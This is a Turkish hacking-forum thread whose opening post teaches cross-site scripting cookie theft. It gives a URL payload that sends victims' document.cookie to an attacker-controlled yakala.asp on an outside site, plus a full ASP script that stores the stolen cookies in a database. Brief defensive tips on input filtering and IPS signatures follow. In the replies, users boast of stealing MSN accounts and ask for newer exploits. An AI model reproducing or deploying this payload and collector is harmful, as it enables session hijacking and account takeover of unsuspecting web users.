XSS Açıkları Request ile kullanıcıdan alınan verilerin sayfa içinde Yazdırılması ile oluşur. rneğin QueryString ile alınan sayfa numaraları yada ilgili kaydı gsteren id değişkenleri. http://www. hedefsite/Default. Asp?Page=1 yada http://www. hedefsite/Product. Asp?id=1 http://www. hedefsite/Default. Asp?Kategori=Haber gibi. rnek XSS Açığı ile Ne yapılabilir : Yukardaki rnekler gibi açığımızı buluyoruz yada hedef sitede Webservis sayaç kodunun olması yeterli. Açığımızı bulduktan sonra kullanıcının Cookie'sini _JavaScript ile okuyup istediğimiz bir adresteki veri tabanına kayıt ediyoruz yada kendimize mail atıyoruz. http://www.hedefsite.com/Default. Asp?Page=2">http://www. yavşak-warrior. org/yakala. asp?X='+escape Saldırgan Url'nin sonuna "> Eklentisi ile Inputların sonlandırılmasını ve bundan sonra eklenen zararlı kodları Explorer'ın icra etmesini sağlar. Bu Link'e tıklayan kullanıcının Cookie'si Belirtilen Kaynağa Post edilir. Yada : Hedef sitede yazdığınız mesajı gsterebilecek uygulamalar var ise ziyaretçi defteri, forum vb. uygulama http://www. yavşak-warrior. org/yakala. asp?X=' +document. cookie Bu kod ilgili sayfada grüntülendiği anda sayfayı grüntüleyen kullanıcıların cookielerini alarak yakala. asp dosyasına veri tabanına kaydetmesi için gnderir. Web Sayfanızda XSS açıkları kapatılmış Olsada, Webservis Sayac kodu var ise bu sayesinde XSS Açığı Oluşuyor. WebServis Tarafından verilen ve Sitenize eklediğiniz; wbanner=11; href=http://www.webservis.gen">http://www. webservis. gen.tr/sayac. js"> XSS Açıklarını Engellemek için: Request ile alınan değerleri her zaman QueryString'de olsa Replace ile Aşağıdaki şekilde temizleyin Ve Request verilerini alırken mutlaka tam sayıya çevirin Recid = CInt(Trim(Server. HTMLEncode ) Recid = Replace(Recid, "<" , "<" 'küçüktür Recid = Replace(Recid, ">" , ">" 'büyüktür Recid = Replace(Recide, "'" , "'" 'tek tırnak Recid = Replace(Recid, Chr(10 ) , "" 'Satır Başı Recid = Replace(Recid, Chr(34 ) , "" 'çift tırnak ASP. NET 'de web. config Dosyasında aşağıdaki değişikleri yaptığınızda " ' " gibi karakterleri sistem kendisi kontrol eder. Bu Sayede hemen hemen hiçbir XSS ve SQL Enjeksiyon teknikleri Etkili olmaz IPS Kullanıyor iseniz Yeni imza yaratıp Application Layer / HTTP / HTTP. URL_DECODED Protokolüne; ' Tek Tırnak, " Çift Tırnak < Küçük > Büyük Karakterlerini ekleyerek XSS ve SQL Enjeksiyon Saldırılarını Direkt Engelleyebilirsiniz... Yakala. ASP'den Gelen Verileri yakalamak ve Veritabanına kaydetmek için rnek Basit bir ASP Dosyası X = Request. QueryString("X" Yerine Veri URL'den geleceği için X = Request. ServerVariables("HTTP_REFERER" de Kullanabilirsiniz. "Yakala. mdb" adında bir database oluşturun "tblYakala" adında bir tablo ve "Sayfa" Adında Oalcak şekilde Tasarlayın Yakala. Asp <% Dim X X = Request. QueryString("X" %> <% Dim ConnString, bag ConnString = "Provider=Microsoft. Jet. OLEDB.4.0;Data Source=" & server. mappath("Yakala. mdb" & ";" set bag = Server. CreateObject("ADODB. Connection" bag. Open ConnString %> <% Dim SQL, Rs Set Rs=Server. CreateObject("ADODB. Recordset" SQL="Select From tblYakala" Rs. Open SQL, ConnString,1,3 End iF %> <% Rs. AddNew Rs("Sayfa"=X Rs. Update Rs. Close %> http://yigitdemirag.com

ya arkadaslar bu xss açığı denen şey yüzünden bütn msn adreslerimin şifrelerini buluo arkadslar ya.. bu nedir bend ğreneğim bi yardımcı olurmusun ya.. Sen benim Canımsın.., Canlı kalan Tek yanımsın...

hotmail dede vardı xss:D Az msn goturmedim :D Long Live Turkey..

bunun yenisi varmı bir biliginiz varmı? acil ihtiyacım var bulan olursa yazarmısınız pls 01100101 01101101 01110101 01111000 01100001

xss nin ne olduğunu ğreneceğine nasıl korunurum diye sorsan olmazmıydı? açığın ne olduğunu zahmet edip arasan bulurdun zaten dkümanlarda'da yada forumlarda bu kadar beleşçi olma

Paşam sende tanımadığın maileri acma Sil mailine gelen linklere tıklama...

: http://www.hedefsite.com/Default. Asp?Page=2">http://www.cyber-warrior.org/yakala. asp?X='+escape DİKKAT!!! Şahsi grüşüm bu Postun editlenmesi gerekiyor. Mod arkadaşlara duyurulur. Paslanmış bir uygulama geliştirici.. #AnalistŞart

Xss Part2Xss"i AnlayalımXSS Nedir?XSS Cookie çalma ile web hack konu açmadan evvel dküman arşivine bakman daha iyi olurdu. Ardından yüz kpek havlamayan kurt, kurt sayılmaz..

ya abi çocuk bana mail fln yolamad.. benm adreside o eklemişş çocukla konusrken bana sende xss açığı var senin şifreni şimdi değiştirecem dedi.. sonra o adrese bidaha girmemdm:( Sen benim Canımsın.., Canlı kalan Tek yanımsın...